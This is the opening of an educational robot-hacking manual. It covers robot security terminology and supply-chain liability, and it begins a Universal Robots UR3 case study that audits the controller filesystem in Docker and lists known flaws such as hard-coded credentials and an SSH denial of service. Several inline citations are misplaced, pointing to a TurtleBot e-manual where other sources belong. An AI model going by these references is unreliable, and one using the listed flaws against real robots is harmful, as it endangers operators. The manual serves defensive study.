Disclaimer

The content provided in here is purely educational, unedited, unrelated to any institution, group or company and developed during my spare time. Use with care.

By no means I want to encourage or promote the unauthorized tampering of robotic systems or related technologies. This can cause serious human harm and material damages.

History

This project started back in early 2018 by Víctor Mayoral-Vilches as a series of independent markdown and Docker-based write-ups and has now converged into a manual that hopes help others enter the field of robot cybersecurity.

Motivation

Robots are often shipped insecure and in some cases fully unprotected. The rationale behind is fourfold: first, defensive security mechanisms for robots are still on their early stages, not covering the complete threat landscape. Second, the inherent complexity of robotic systems makes their protection costly, both technically and economically. Third, robot vendors do not generally take responsibility in a timely manner, extending the zero-days exposure window (time until mitigation of a zero-day) to several years on average. Fourth, contrary to the common-sense expectations in 21st century and similar to Ford in the 1920s with cars, most robot manufacturers oppose or difficult robot repairs. They employ planned obsolescence practices to discourage repairs and evade competition.

Cybersecurity in robotics is crucial. Specially given the safety hazards that appear with robots (#nosafetywithoutsecurity in robotics). After observing for a few years how several manufacturers keep forwarding these problems to the end-users of these machines (their clients), this manual aims to empower robotics teams and security practitioners with the right knowhow to secure robots from an offensive perspective.

A containerized approach

Robotics is the art of system integration. It’s a very engineering-oriented field where systematic reproduction of results is key for mitigation of security flaws. Docker containers are widely used throughout the manual while presenting PoCs to ensure that practitioners have a common, consistent and easily reproducible development environment. This facilitates the security process and the collaboration across teams.

Contribute back

Content’s made with an open and commercially friendly license so so that you can use it without asking at all. Don’t complain. If you have a suggestion, or feel you can add value to the existing content, open an Issue or a Pull Request. If possible, contribute back.

PDF versions

Download RHM v0.5.

PDF versions are generated for every release. Check out all the releases here:

• RHM v0.5
• RHM v0.4
• RHM v0.3

Introduction

The Robot Hacking Manual (RHM) is an introductory series about cybersecurity for robots, with an attempt to provide comprehensive case studies and step-by-step tutorials with the intent to raise awareness in the field and highlight the importance of taking a security-firstRead on what a security-first approach in here.

approach. The material available here is also a personal learning attempt and it’s disconnected from any particular organization. Content is provided as is and by no means I encourage or promote the unauthorized tampering of robotic systems or related technologies.

About robot cybersecurity

For the last fifty years, we have been witnessing the dawn of the robotics industry, but robots are not being created with security as a concern, often an indicator of a technology that still needs to mature. Security in robotics is often mistaken with safety. From industrial to consumer robots, going through professional ones, most of these machines are not resilient to security attacks. Manufacturers’ concerns, as well as existing standards, focus mainly on safety. Security is not being considered as a primary relevant matter.

The integration between these two areas from a risk assessment perspective was first studied by Stoneburner (2006) and later discussed by Alzola-Kirschgens et al. (2018) which resulted in a unified security and safety risk framework. Commonly, robotics safety is understood as developing protective mechanisms against accidents or malfunctions, whilst security is aimed to protect systems against risks posed by malicious actors Swinscow-Hall (2017). A slightly alternative view is the one that considers safety as protecting the environment from a given robot, whereas security is about protecting the robot from a given environment. In this manual we adopt the latter and refer the reader to https://cybersecurityrobotics.net/quality-safety-security-robotics/ for a more detailed literature review that introduces the differences and correlation between safety, security and quality in robotics.

Security is not a product, but a process that needs to be continuously assessed in a periodic manner, as systems evolve and new cyber-threats are discovered. This becomes specially relevant with the increasing complexity of such systems as indicated by Bozic and Wotawa (2017). Current robotic systems are of high complexity, a condition that in most cases leads to wide attack surfaces and a variety of potential attack vectors which makes difficult the use of traditional approaches.

Robotic systems and robots Both literature and practice are often vague when using the terms robot/s and/or robotic system/s. Sometimes these terms are used to refer to one of the robot components (e.g. the robot is the robot arm mechanics while its HMI is the teach pendant). Some other times, these terms are used to refer to the complete robot, including all its components, regardless of whether they are distributed or assembled into the same hull. Throughout this manual the latter is adopted and unless stated otherwise, the terms robot/s and/or robotic system/s will be used interchangeably to refer to the complete robotic system, including all its components.

Cite this work

@article{mayoral2022robot,
      title={Robot Hacking Manual (RHM)},
      author={Mayoral-Vilches, V{\'\i}ctor},
      journal={arXiv preprint arXiv:2203.04765},
      year={2022}
    }

Literature review

Arguably, the first installation of a cyber-physical system in a manufacturing plant was back in 1962 Robinson (2014). The first human death caused by a robotic system is traced back to 1979 Young (2018) and the causes were safety-related according to the reports. From this point on, a series of actions involving agencies and corporations triggered to protect humans and environments from this machines, leading into safety standards.

Security however hasn’t started being addressed in robotics until recently. Following after McClean et al. (2013) early assessment, in one of the first published articles on the topic Francisco Javier Rodrıguez Lera, Matellán, et al. (2016) already warns about the security dangers of the Robot Operating System (ROS) Quigley, Conley, et al. (2009). Following from this publication, the same group in Spain authored a series of articles touching into robot cybersecurity (Francisco Javier Rodrıguez Lera, Balsa, et al. 2016; Francisco J. Rodrı́guez Lera et al. 2017; Guerrero-Higueras et al. 2017; Balsa-Comerón et al. 2017; Rodrı́guez-Lera et al. 2018). Around the same time period, Dieber et al. (2016)} led a series of publications that researched cybersecurity in robotics proposing defensive blueprints for robots built around ROS (Dieber et al. 2017; Dieber, Schlotzhauer, and Brandstötter 2017; Breiling, Dieber, and Schartner 2017; Taurer, Dieber, and Schartner 2018; Dieber and Breiling 2019). Their work introduced additions to the ROS APIs to support modern cryptography and security measures. Contemporary to Dieber et al. (2016)’s work, White et al. (2016) also started delivering a series of articles (Caiazza 2017; White et al. 2018; White, Caiazza, Christensen, et al. 2019; Caiazza, White, and Cortesi 2019; White, Caiazza, Jiang, et al. 2019; White, Caiazza, Cortesi, et al. 2019) proposing defensive mechanisms for ROS.

A bit more than a year after that, starting in 2018, it’s possible to observe how more groups start showing interest for the field and contribute. Vı́ctor Mayoral-Vilches, Kirschgens, Calvo, et al. (2018) initiated a series of security research efforts attempting to define offensive security blueprints and methodologies in robotics that led to various contributions (Vı́ctor Mayoral-Vilches, Kirschgens, Gil-Uriarte, et al. 2018; Alzola-Kirschgens et al. 2018; Vı́ctor Mayoral-Vilches, Mendia, et al. 2018; Vı́ctor Mayoral-Vilches, Abad-Fernández, et al. 2020; Vı́ctor Mayoral-Vilches, Pinzger, et al. 2020; Lacava et al. 2020; Vı́ctor Mayoral-Vilches, Garcı́a-Maestro, et al. 2020; Vı́ctor Mayoral-Vilches, Carbajo, and Gil-Uriarte 2020). Most notably, this group released publicly a framework for conducting security assessments in robotics Vı́ctor Mayoral-Vilches, Kirschgens, Calvo, et al. (2018), a vulnerability scoring mechanism for robots Mayoral Vilches et al. (2018), a robotics Capture-The-Flag environment for robotics whereto learn how to train robot cybersecurity engineers Mendia et al. (2018) or a robot-specific vulnerability database that third parties could use to track their threat landscape Vı́ctor Mayoral-Vilches, Usategui San Juan, et al. (2019), among others. In 2021, Zhu et al. (2021a) published a comprehensive introduction of this emerging topic for theoreticians and practitioners working in the field to foster a sub-community in robotics and allow more contributors to become part of the robot cybersecurity effort.

Robot hacks

A non-exhaustive list of cybersecurity research in robotics containing various related robot vulnerabilities and attacks due to cybersecurity issues.

Terminology

Robot reconnaissance

Reconnaissance is the act of gathering preliminary data or intelligence on your target. The data is gathered in order to better plan for your attack. Reconnaissance can be performed actively (meaning that you are directly touching the target) or passively (meaning that your recon is being performed through an intermediary).

Robot footprinting

Footprinting, (also known as reconnaissance) is the technique used for gathering information about digital systems and the entities they belong to.

Robot Threat Modeling

Threat modeling is the use of abstractions to aid in thinking about risks. The output of this activity is often named as the threat model. More commonly, a threat model enumerates the potential attackers, their capabilities and resources and their intended targets. In the context of robot cybersecurity, a threat model identifies security threats that apply to the robot and/or its components (both software and hardware) while providing means to address or mitigate them in the context of a use case.

A threat model is key to a focused security defense and generally answers the following questions: - What are you building? - What can go wrong (from a security perspective)? - What should you do about those things that can go wrong? - Did you do a decent job analysing the system?

Bugs & vulnerability identification

Static analysis

Static analysis means inspecting the code to look for faults. Static analysis is using a program (instead of a human) to inspect the code for faults.

Dynamic analysis

Dynamic analysis, simply called “testing” as a rule, means executing the code while looking for errors and failures.

Fuzzing

Formally a sub-class of dynamic testing but we separated for convenience, fuzzing or fuzz testing implies challenging the security of your robotic software in a pseudo-automated manner providing invalid or random data as inputs wherever possible and looking for anomalous behaviors.

Dynamic analysis (sanitizers)

Sanitizers are dynamic bug finding tools. Sanitizers analyze a single program excution and output a precise analysis result valid for that specific execution.

Robot exploitation

An exploit is a piece of software, a chunk of data, or a sequence of commands that takes advantage of a bug or vulnerability to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerized). Exploitation is the art of taking advantage of vulnerabilities.

Robot penetration testing (RPT)

Robot Penetration Testing (robot pentesting or RPT) is an offensive activity that seeks to find as many robot vulnerabilities as possible to risk-assess and prioritize them. Relevant attacks are performed on the robot in order to confirm vulnerabilities. This exercise is effective at providing a thorough list of vulnerabilities, and should ideally be performed before shipping a product, and periodically after.

In a nutshell, robot penetration testing allows you to get a realistic and practical input of how vulnerable your robot is within a scope. A team of security researchers would then challenge the security of a robotic technology, find as many vulnerabilities as possible and develop exploits to take advantage of them.

See Dieber et al. (2020) for an example applied to ROS systems.

Robot red teaming (RRT)

Robot red teaming is a targeted offensive cyber security exercise, suitable for use cases that have been already exposed to security flaws and wherein the objective is to fulfill a particular objective (attacker’s goal). While robot penetration testing is much more effective at providing a thorough list of vulnerabilities and improvements to be made, a red team assessment provides a more accurate measure of a given technology’s preparedness for remaining resilient against cyber-attacks.

Overall, robot red teaming comprises a full-scope and multi-layered targeted (with specific goals) offensive attack simulation designed to measure how well your robotic technology can withstand an attack.

Robot red teaming

Other

Robot forensics

Robot forensics proposes a number of scientific tests and methods to obtain, preserve and document evidence from robot-related crimes. In particular, it focuses on recovering data from robotic systems to establish who committed the crime.

Review https://github.com/Cugu/awesome-forensics.

Robot reversing

Software reverse engineering (or reversing) is the process of extracting the knowledge or design blueprints from any software. When applied to robotics, robot reversing can be understood as the process of extracting information about the design elements in a robotic system.

Comparing robot cybersecurity with IT, OT and IoT

Security is often defined as the state of being free from danger or threat. But what does this mean in practice? What does it imply to be free from danger? Is it the same in enterprise and industrial systems? Well, short answer: no, it’s not. Several reasons but one important is that the underlying technological architectures for each one of these environments, though shares technical bits, are significantly different which leads to a different interpretation of what security (again, being free from danger and threats) requires.

This section analyzes some of the cyber security aspects that apply in different domains including IT, OT, IoT or robotics and compares them together. Particularly, the article focuses on clarifying how robotics differs from other technology areas and how a lack of clarity is leading to leave the user heavily unprotected against cyber attacks. Ultimately, this piece argues on why cyber security in robotics will be more important than in any other technology due to its safety implications, including IT, OT or even IoT.

Introducing some common terms

Over the years, additional wording has developed to specify security for different contexts. Generically, and from my readings, we commonly refer to cyber security (or cybersecurity, shortened as just “security”) as the state of a given system of being free from cyber dangers or cyber threats, those digital. As pointed out, we often mix “security” associated with terms that further specify the domain of application, e.g. we often hear things such as IT security or OT security.

During the past two years, while reading, learning, attending to security conferences and participating on them, I’ve seen how both security practitioners and manufacturers caring about security do not clearly differentiate between IT, OT, IoT or robotics. Moreover, it’s often a topic for arguments the comparison between IT and IT security. The following definitions aim to shed some light into this common topic:

• Information Technology (IT): the use of computers to store, retrieve, transmit, and manipulate data or information throughout and between organizationsTB3 ROS 2 packages https://github.com/ROBOTIS-GIT/turtlebot3/tree/ros2
  
  .
• Operational Technology (OT): the technology that manages industrial operations by monitoring and controlling specific devices and processes within industrial workflows and operations, as opposed to administrative (IT) operations. This term is very closely related to:
• Industrial Control System (ICS): is a major segment within the OT sector that comprises those systems that are used to monitor and control the industrial processes. ICS is a general term that encompasses several types of control systems (e.g. SCADA, DCS) in industry and can be understood as a subset of OT.
• Internet of the Things (IoT): an extension of the Internet and other network connections to different sensors and devices — or “things” — affording even simple objects, such as lightbulbs, locks, and vents, a higher degree of computing and analytical capabilities. The IoT can be understood as an extension of the Internet and other network connections to different sensors and devices.
• Industrial Internet of the Things (IIoT): refers to the extension and use of the Internet of Things (IoT) in industrial sectors and applications.
• robotics: A robot is a system of systems. One that comprises sensors to perceive its environment, actuators to act on it and computation to process it all and respond coherently to its application (could be industrial, professional, etc.). Robotics is the art of system integration. An art that aims to build machines that operate autonomously.

Robotics is the art of system integration. Robots are systems of systems, devices that operate autonomously.

It’s important to highlight that all the previous definitions refer to technologies. Some are domain specific (e.g. OT) while others are agnostic to the domain (e.g. robotics) but each one of them are means that serve the user for and end.

Comparing the security across these technologies

Again, IT, OT, ICS, IoT, IIoT and robotics are all technologies. As such, each one of these is subject to operate securely, that is, free from danger or threats. For each one of these technologies, though might differ from each other, one may wonder, how do I apply security?

Let’s look at what literature says about the security comparison of some of these:

From Official e-manual of TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/

:

Initially, ICS had little resemblance to IT systems in that ICS were isolated systems running proprietary control protocols using specialized hardware and software. Widely available, low-cost Ethernet and Internet Protocol (IP) devices are now replacing the older proprietary technologies, which increases the possibility of cybersecurity vulnerabilities and incidents. As ICS are adopting IT solutions to promote corporate connectivity and remote access capabilities, and are being designed and implemented using industry standard computers, operating systems (OS) and network protocols, they are starting to resemble IT systems. This integration supports new IT capabilities, but it provides significantly less isolation for ICS from the outside world than predecessor systems, creating a greater need to secure these systems. While security solutions have been designed to deal with these security issues in typical IT systems, special precautions must be taken when introducing these same solutions to ICS environments. In some cases, new security solutions are needed that are tailored to the ICS environment.

While Stouffer et al. Official e-manual of TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/

focus on comparing ICS and IT, a similar rationale can easily apply to OT (as a superset of ICS).

To some, the phenomenon referred to as IoT is in large part about the physical merging of many traditional OT and IT components. There are many comparisons in literature (e.g. Atlam, Hany & Alenezi, Ahmed & Alshdadi, Abdulrahman & Walters, Robert & Wills, Gary. (2017). Integration of Cloud Computing with Internet of Things: Challenges and Open Issues. 10.1109/iThings-GreenCom-CPSCom-SmartData.2017.105.

an interesting one that also touches into cloud systems, which I won’t get into now) but most seem to agree that while I-o-T aims to merge both IT and OT, the security of IoT technologies requires a different skill set. In other words, the security of IoT should be treated independently to the one of IT or OT. Let’s look at some representations:

What about robotics then? How does the security in robotics compare to the one in IoT or IT? Arguably, robotic systems are significantly more complex than the corresponding ones in IT, OT or even IoT setups. Shouldn’t security be treated differently then as well? I definitely believe so and while much can be learned from other technologies, robotics deserves its own security treatment. Specially because I strongly believe that:

cyber security in robotics will be more important than in any other technology due to its safety implications, including IT, OT or even IoT.

Of course, I’m a roboticist so expect a decent amount of bias on this claim. Let me however further argue on this. The following table is inspired by processing and extending Official e-manual of TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/

and ROS 2 specific section in TB3 e-manual http://emanual.robotis.com/docs/en/platform/turtlebot3/ros2/

for robotics while including other works such as Atlam, Hany & Alenezi, Ahmed & Alshdadi, Abdulrahman & Walters, Robert & Wills, Gary. (2017). Integration of Cloud Computing with Internet of Things: Challenges and Open Issues. 10.1109/iThings-GreenCom-CPSCom-SmartData.2017.105.

, among others:

Looking at this table and comparing the different technologies, it seems reasonable to admit that robotics receives some of the heaviest restrictions when it comes to the different security properties, certainly, much more than IoT or IT.

Still, why do robotic manufacturers focus solely on IT security?

Understanding the robotics supply chain

Insecurities in robotics are not just in the robots themselves, they are also in the whole supply chain. The tremendous growth and popularity of collaborative robots have over the past years introduced flaws in the –already complicated– supply chain, which hinders serving safe and secure robotics solutions.

Traditionally, Manufacturer, Distributor and System Integrator stakeholders were all into one single entity that served End users directly. This is the case of some of the biggest and oldest robot manufacturers including ABB or KUKA, among others.

Most recently, and specially with the advent of collaborative robots Official e-manual of TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/

and their insecurities ROS 2 specific section in TB3 e-manual http://emanual.robotis.com/docs/en/platform/turtlebot3/ros2/

, each one of these stakeholders acts independently, often with a blurred line between Distributor and Integrator. This brings additional complexity when it comes to responding to End User demands, or solving legal conflicts.

Companies like Universal Robots (UR) or Mobile Industrial Robots (MiR) represent best this fragmentation of the supply chain. When analyzed from a cybersecurity angle, one wonders: which of these approaches is more responsive and responsible when applying security mitigations? Does fragmentation difficult responsive reaction against cyber-threats? Are Manufacturers like Universal Robots pushing the responsibility and liabilities to their Distributors and the subsequent Integrators by fragmenting the supply chain? What are the exact legal implications of such fragmentation?

Stakeholders of the robotics supply chain

Some of the stakeholders of both the new and the old robotics supply chains are captured and defined in the figure below:

Not much to add. The diagram above is far from complete. There’re indeed more players but these few allow one to already reason about the present issues that exist in the robotics supply chain.

The ‘new’ supply chain in robotics

It really isn’t new. The supply chain (and GTM strategy) presented by vendors like UR or MiR (both owned by Teradyne) was actually inspired by many others, across industries, yet, it’s certainly been growing in popularity over the last years in robotics. In fact, one could argue that the popularity of collaborative robots is related to this change in the supply chain, where many stakeholders contributed to the spread of these new technologies.

This supply chain is depicted below, where a series of security-related interactions are captured:

The diagram presents several sub-cases, each deals with scenarios that may happen when robots present cybersecurity flaws. Beyond the interactions, what’s outstanding is the more than 20 legal questions related to liabilities and responsibility that came up. This, in my opinion, reflects clearly the complexity of the current supply chain in robotics, and the many compromises one needs to assume when serving, distributing, integrating, or operating a robot.

What’s more scary, is that most of the stakeholders involved in the supply chain I interact with ignore their responsibilities (different reasons, from what I can see). The security angle in here is critical. Security mitigations need to be supplied all the way down to the end-user products, otherwise, it’ll lead to hazards.

While I am not a laywer, my discussions with lawyers on this topic made me believe that there’s lack of legal frameworks and/or clear answers in Europe for most of these questions. Morever, the lack of security awareness from many of the stakeholders involved Mayoral-Vilches, V. Universal Robots cobots are not secure. Cybersecurity and Robotics.

is not only compromising intermediaries (e.g. Distributors and System Integrators), but ultimately exposing end-users to risks.

Altogether, I strongly believe this ‘new’ supply chain and the clear lack of security awareness and reactions leads to a compromised supply chain in robotics. I’m listing below a few of the most relevant (refer to the diagram above for all of them) cybersecurity-related questions raised while building the figure above reasoning on the supply chain:

• Who is responsible (across the supply chain) and what are the liabilities if as a result of a cyber-attack there is human harm for a previously not known (or reported) flaw for a particular manufacturers’s technology?Note this questions covers both, 0-days and known flaws that weren’t previously reported.
  
  
• Who is responsible (across the supply chain) and what are the liabilities if as a result of a cyber-attack there is a human harm for a known and disclosed but not mitigated flaw for a particular manufacturers’s technology?
• Who is responsible (across the supply chain) and what are the liabilities if as a result of a cyber-attack there is a human harm for a known, disclosed and mitigated flaw, yet not patched?
• What happens if the harm is environmental?
• And if there is no harm? Is there any liability for the lack of responsible behavior in the supply chain?
• What about researchers? are they allowed to freely incentivate security awareness by ethically disclosing their results? (which you’d expect when one discovers something)
• Can researchers collect insecurity evidence to demonstrate non-responsible behavior without liabilities?

So, what’s better, fragmentation or the lack of it?

I see a huge growth through fragmentation yet, still, reckon that the biggest and most successful robotics companies out there tend to integrate it all.

What’s clear to me is that fragmentation of the supply chain (or the ‘new’ supply chain) presents clear challenges for cybersecurity. Maintaining security in a fragmented scenario is more challenging, requires more resources and a well coordinated and often distributed series of actions (which by reason is tougher).

fragmentation of the supply chain (or the ‘new’ supply chain) presents clear challenges from a security perspective.

Investing in robot cybersecurity by either building your own security team or relying on external support is a must.

Recommended readings

Recommended talks

• 2016
  • Securing ROS over the wire, in the graph, and through the kernel, ROSCon 2016
• 2017
  • Hacking Robots Before Skynet, Ekoparty Security Conference 2017
  • An Experimental Security Analysis of an Industrial Robot Controller, IEEE Symposium on Security and Privacy 2017
  • SROS: Current Progress and Developments, ROSCon 2017
  • Breaking the Laws of Robotics: Attacking Industrial Robots, Black Hat USA 2017
• 2018
  • Introducing the Robot Security Framework (spanish), Navaja Negra Conference 2018
  • Arm DDS Security library: Adding secure security to ROS2, ROSCon 2018
  • Leveraging DDS Security in ROS 2, ROSCon 2018
• 2019
  • Defensive and offensive robot security, ROS-Industrial Conference 2019
  • Black Block Recorder: Immutable Black Box Logging via rosbag2 and DLTs, ROSCon 2019
  • Lessons learned on real-time and security (slides), ROS 2 Real-Time Workshop, ROSCon 2019
• 2020
  • Current security threat landscape in robotics, European Robotics Forum (ERF) 2020
  • Security in ROS & ROS 2 robot setups, European Robotics Forum (ERF) 2020
  • Akerbeltz, industrial robot ransomware, International Workshop on Engineering Resilient Robot Software Systems, International Conference on Robotic Computing (IRC 2020).
  • Zero Trust Architecture in Robotics, Workshop on Security and Privacy in Robotics, ICRA 2020
  • The cybersecurity status of PX4, PX4 Developer Summit Virtual 2020
  • Detecting Insecure Code Patterns in Industrial Robot Programs, Proceedings of the 15th ACM Asia Conference on Computer and Communications Security 2020
  • Protecting robot endpoints against cyber-threats, ROS-Industrial Conference 2020
  • Robots and Privacy, Shmoocon 2020
• 2021
  • Uncovering Planned Obsolescence Practices in Robotics and What This Means for Cybersecurity, BlackHat USA 2021
  • The Data Distribution Service (DDS) Protocol is Critical: Let’s Use it Securely!, BlackHat Europe 2021
  • Breaking ROS 2 security assumptions: Targeting the top 6 DDS implementations, ROS-Industrial Conference 2021
  • DDS and ROS 2 cybersecurity, ROS 2 Security Working Group
• 2022
  • A Deep Dive Into The DDS Protocol (to appear), S4x22 Security Conference

Case studies

Universal Robot UR3

Universal Robots, a division of Teradyne since 2015, is knowingly ignoring cyber security across their tenths of thousands of robots sold.

In 2017, IOActive, a world-leader firm in cybersecurity services opened a report Cerrudo, C., & Apa, L. (2017). Hacking robots before skynet. IOActive Website, 1-17.

where among others, described several flaws found in Universal Robots collaborative robots. These included: RVD#6: UR3, UR5, UR10 Stack-based buffer overflow, RVD#15: Insecure transport in Universal Robots’s robot-to-robot communications, RVD#34: Universal Robots Controller supports wireless mouse/keyboards on their USB interface, RVD#672: CB3.1 3.4.5-100 hard-coded public credentials for controller, RVD#673: CB3.1 3.4.5-100 listen and execution of arbitrary URScript code.

In late 2019 I re-engaged with this work and started researching how insecure these popular robots were. As of 2021, these flaws remain an issue in affecting most of the robots from Universal Robots. Here’re some of the novel findings my research led to:

An here are some additional examples of flaws identified within the technologies used in the robot, and were previously reported by others:

Context

Analyzing Universal Robots commercial success

Several articles cover and discuss the commercial success of Universal Robots. Often compared with Rethink Robotics, Universal Robots (UR) is generally acknowledged for reading the market better and focusing on solving the problem in a more pragmatic manner, focusing on delivering just about the needed safety capabilities, and no more. Carol LawrenceCarol Lawrence. Rise and Fall of Rethink Robotics (2019). https://www.asme.org/topics-resources/content/rise-fall-of-rethink-robotics

indicates the following:

Universal succeeded because its robots were accurate and repeatable, yet safe enough to work next to people.

Anyone that has operated these robots will probably agree that it sounds about true. Instead of investing additional resources on risk assessment perspective (which from these articles I conclude Rethink Robotics did, at least better?), consider safety standards (using pre-existing norms for safety machinery and security) and focusing on human collaboration (as they were promising), Universal Robots focused on lobbying for market success. It was all about the market, and marketing.

If one pays close attention, she’ll notice Universal Robots is actually behind the steering of ISO 10218-1 and ISO 10218-2. Reviewing these norms will make a roboticist scream in several senses. These norms are in many ways too tailored to a vendor. Tailored for lobbying. And likely this is the reason why ISO 10218-1/2 is not spreading as much as one would expect. Several countries have even disregarded ISO 10218-1, and their industries are not forced to comply with it.

More importantly, robots are connected devices. If one compares a robot to an IoT device she will quickly notice that such comparison makes no sense and it’d be more accurate to relate robots with IoT networks (leaving aside the actuation, rarely present in IoT). Robots may operate in an isolated manner, true, but frankly, for most applications that require additional sensing (most that demand adaptability), robots receive external control and coordination instructions from control stations.

The collaborative behavior that Universal Robots delivers is not only flawed from a safety design perspective but also from a robotics-functionality one. These systems will end up being connected. One should care about this.

Yet, it seems it still does for clients. Specially because Universal Robots are open. Not in software, but in their architectureCarol Lawrence. Rise and Fall of Rethink Robotics (2019). https://www.asme.org/topics-resources/content/rise-fall-of-rethink-robotics

:

Universal’s business model differed from Rethink’s. Rather than provide an integrated system, it sold only robotic arms and embraced an open architecture that made it easy to add third-party sensors, cameras, grippers, and other accessories. This enabled users and integrators to customize robots for specific tasks.

Openness is great as model for innovation. I spent years working as an open source contributor first in software and hardware, then in robotics. I funded part of my early studies (as many surely did as well) enjoying summers of code funded by Google while working in different organizations. Also, while growing as a roboticist, I interned in several “open” places. Openness is also great (yet challenging) for business, I created and sold a business that contributed to the open source projects in the robotics space. Great learning experience.

Openness is great, but openness in industry needs to be a) funded and b) backed with a responsible attitude in terms of security. Without care for these matters, you’re simply exposing your creations to third party attacks. When those creations can influence thousands of businesses, you should start growing concerned.

An open architecture that doesn’t care about security

Delivering an open architecture doesn’t mean that you can disregard security. Security by obscurity is not security, true. But neither you should open it up and just disregard it if your systems will be used in industry, by people. That pitch doesn’t work when robots get out of the lab and jump into real use cases. Universal Robots is well known from claims like:

Security is up to the user.

A security-first approach must be adopted. One that goes from the design-phase, down to the post-production one. If you’re interested in secure development and secure architectures, refer to some work on DevSecOps Mayoral-Vilches, V., García-Maestro, N., Towers, M., & Gil-Uriarte, E. (2020). DevSecOps in Robotics. arXiv preprint arXiv:2003.10402.

in robotics I co-authored and released not so long ago.

The ultimate proof however comes from the facts. So let’s provide some evidence by bringing up the rootfs of UR robots in a Docker container and perform some investigations. Head to this tutorial’s folder and do:

# 1. fetch the raw disk image inside of the container
    docker build -t ur3_cb3.1_fetcher:3.9.1 .
    # 2. create temporary directory
    mkdir tmp
    # 3. extract the compressed rootfs from the container
    docker container run --rm --privileged -it -v ${PWD}/tmp:/outside ur3_cb3.1_fetcher:3.9.1
    # 4. create container from the rootfs
    docker import tmp/ur-fs.tar.gz ur3_cb3.1:3.9.1
    # 5. cleanup
    rm -r tmp
    # 6. run the container
    docker run -it ur3_cb3.1:3.9.1 /bin/bash

Now let’s see how much UR cares about security:

docker run -it ur3_cb3.1:3.9.1 /bin/bash
    dircolors: no SHELL environment variable, and no shell type option given
    root@0ad90f762e89:/# ls
    bin   bsp-MS-98G6.md5sums  dev  home        joint_firmware.md5sums  lost+found  mnt  pc.md5sums  programs  run   selinux  srv  tmp  var
    boot  common.md5sums       etc  initrd.img  lib                     media       opt  proc        root      sbin  setup    sys  usr
    root@0ad90f762e89:/#
    root@0ad90f762e89:/# cat /etc/issue
    Debian GNU/Linux 7 \n \l

Universal Robots controllers run Debian “wheezy” which was released in May 2013 and entered End-of-life (EoL) in May 2018 according to the Debian Long Term Support (LTS) page:

Some of you might be thinking that ELTS. There’s Extended Long Term Support. One could think that Universal Robots is actively supporting openness (and open source) by financially supporting Debian and receiving extended support:

While plausible in terms of date, unfortunately, it doesn’t seem to be the case. While it may sound harsh, one wonders: regardless of the investments made in marketing and communication, how much is the “openness” pitch of Universal Robots worth it?

Searching for flaws in the rootfs

Let’s now use a popular security tool to scan the rootfs for insecure components. You’ll observe below how deb package sources are unmaintained, so we’ll manually change those to install

# deb sources unmaintained
    root@0ad90f762e89:/# apt-get update
    Err http://packages.ur-update.dk ./ Release.gpg
      Could not resolve 'packages.ur-update.dk'
    Reading package lists... Done
    W: Failed to fetch http://packages.ur-update.dk/ubuntu/./Release.gpg  Could not resolve 'packages.ur-update.dk'
    
    W: Some index files failed to download. They have been ignored, or old ones used instead.
    
    # update source.list with archived packages
    cat << EOF > /etc/apt/sources.list
    deb http://archive.debian.org/debian wheezy main
    deb http://archive.debian.org/debian-archive/debian-security/ wheezy updates/main
    EOF
    
    # install git
    apt-get install git -y
    ...
    
    # Fetch and run Lynis
    root@0ad90f762e89:/etc# git clone https://github.com/CISOfy/lynis
    Cloning into 'lynis'...
    remote: Enumerating objects: 14350, done.
    remote: Counting objects: 100% (492/492), done.
    remote: Compressing objects: 100% (244/244), done.
    remote: Total 14350 (delta 320), reused 389 (delta 248), pack-reused 13858
    Receiving objects: 100% (14350/14350), 7.63 MiB, done.
    Resolving deltas: 100% (10564/10564), done.
    root@0ad90f762e89:/etc# cd lynis/
    root@0ad90f762e89:/etc/lynis# ls
    CHANGELOG.md        CONTRIBUTING.md  FAQ             INSTALL  README     SECURITY.md  db           developer.prf  include  lynis.8
    CODE_OF_CONDUCT.md  CONTRIBUTORS.md  HAPPY_USERS.md  LICENSE  README.md  TODO.md      default.prf  extras         lynis    plugins
    root@0ad90f762e89:/etc/lynis# ./lynis audit system
    
    [ Lynis 3.0.7 ]
    
    ################################################################################
      Lynis comes with ABSOLUTELY NO WARRANTY. This is free software, and you are
      welcome to redistribute it under the terms of the GNU General Public License.
      See the LICENSE file for details about using this software.
    
      2007-2021, CISOfy - https://cisofy.com/lynis/
      Enterprise support available (compliance, plugins, interface and tools)
    ################################################################################
    
    
    [+] Initializing program
    ------------------------------------
      - Detecting OS...                                           [ DONE ]
      - Checking profiles...                                      [ DONE ]
    
      ---------------------------------------------------
      Program version:           3.0.7
      Operating system:          Linux
      Operating system name:     Debian
      Operating system version:  7
      Kernel version:            5.10.25
      Hardware platform:         x86_64
      Hostname:                  0ad90f762e89
    
    ...
    
    * Check PAM configuration, add rounds if applicable and expire passwords to encrypt with new values [AUTH-9229]
        https://cisofy.com/lynis/controls/AUTH-9229/
    
    * Configure password hashing rounds in /etc/login.defs [AUTH-9230]
        https://cisofy.com/lynis/controls/AUTH-9230/
    
    * Install a PAM module for password strength testing like pam_cracklib or pam_passwdqc [AUTH-9262]
        https://cisofy.com/lynis/controls/AUTH-9262/
    
    * When possible set expire dates for all password protected accounts [AUTH-9282]
        https://cisofy.com/lynis/controls/AUTH-9282/
    
    * Configure minimum password age in /etc/login.defs [AUTH-9286]
        https://cisofy.com/lynis/controls/AUTH-9286/
    
    * Configure maximum password age in /etc/login.defs [AUTH-9286]
        https://cisofy.com/lynis/controls/AUTH-9286/
    
    * Default umask in /etc/login.defs could be more strict like 027 [AUTH-9328]
        https://cisofy.com/lynis/controls/AUTH-9328/
    
    * Default umask in /etc/init.d/rc could be more strict like 027 [AUTH-9328]
        https://cisofy.com/lynis/controls/AUTH-9328/
    
    * To decrease the impact of a full /home file system, place /home on a separate partition [FILE-6310]
        https://cisofy.com/lynis/controls/FILE-6310/
    ...

The incomplete trace of Lynis above already provides a number of hints on how to start breaking the system. I’ll leave it there and jump into some examples of the findings.

Vulnerabilities

Denial of Service exploiting an SSH vulnerability in Universal Robots

RVD#1410 shows a) evidence that Universal Robots cares very little about security and b) the importance of having a security team working with your engineers.

This flaw was **found in 2016 and assigned a CVE ID CVE-2016-6210. We confirmed that this vulnerability applies to all the latest releases from Universal Robots over the past 12 months approximately:

• Universal Robots CB3.1, firmware version 3.12.1 (latest at the time of writing)
• Universal Robots CB3.1, firmware version 3.12
